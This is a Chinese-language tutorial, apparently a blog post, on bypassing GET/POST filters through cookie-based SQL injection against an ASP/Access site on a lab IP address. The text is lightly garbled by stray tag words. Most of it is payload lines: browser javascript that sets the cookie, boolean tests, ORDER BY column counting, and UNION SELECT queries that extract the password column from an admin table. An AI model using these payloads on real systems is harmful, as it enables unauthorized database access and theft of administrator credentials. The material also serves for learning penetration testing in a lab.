以ACCESS數據庫爲例;其餘數據庫用相應的注入語句就能夠javascript
主要是爲了繞過程序員在get、post等傳參處作的一些過濾。java
目標站點:
192.168.74.136:8009/shownews.asp?id=26
在進行get注入時發現過濾關鍵字,嘗試Cookie注入
程序員
javascript:alert(document.cookie="id="+escape("27"));
點擊回車,發現彈窗以下:
數據庫
點擊頁面上出現的肯定框。 cookie
驗證是否改好了cookie:
如今更改好了cookie後咱們就要試下能不能正常訪問了,如今在另一個窗口中咱們打開如下地址:
http://192.168.74.136:8009/shownews.asp?
既是將「id=27」去掉後的URL,而後看是否能正常訪問。
post
可見訪問以後的頁面與訪問 http://192.168.74.136:8009/shownews.asp?id=27
的時候是同樣的,這樣就說明程序在使用request對象獲取數據的時候並未指明具體使用什麼方法來獲取,而是直接使用request("xx")的方式。如今說明cookie處是有可能存在注入的,接下來咱們測試下可否提交特殊字符,看程序是否對數據進行過濾。測試
回到剛纔更改cookie的頁面,而後在地址欄處填寫code
javascript:alert(document.cookie="id="+escape("27 and 1=1"));
回車後再去http://192.168.74.136:8009/shownews.asp?頁面刷新,看頁面是否正常。
若是正常咱們再提交對象
javascript:alert(document.cookie="id="+escape("27 and 1=2"));
而後再去刷新,這個時候就會看見出錯了,說明能夠注入,且不存在過濾。blog
javascript:alert(document.cookie="id="+escape("27 order by 1")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常 javascript:alert(document.cookie="id="+escape("27 order by 11")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常 javascript:alert(document.cookie="id="+escape("27 order by 12")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回錯誤 說明字段數是 11
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));
javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));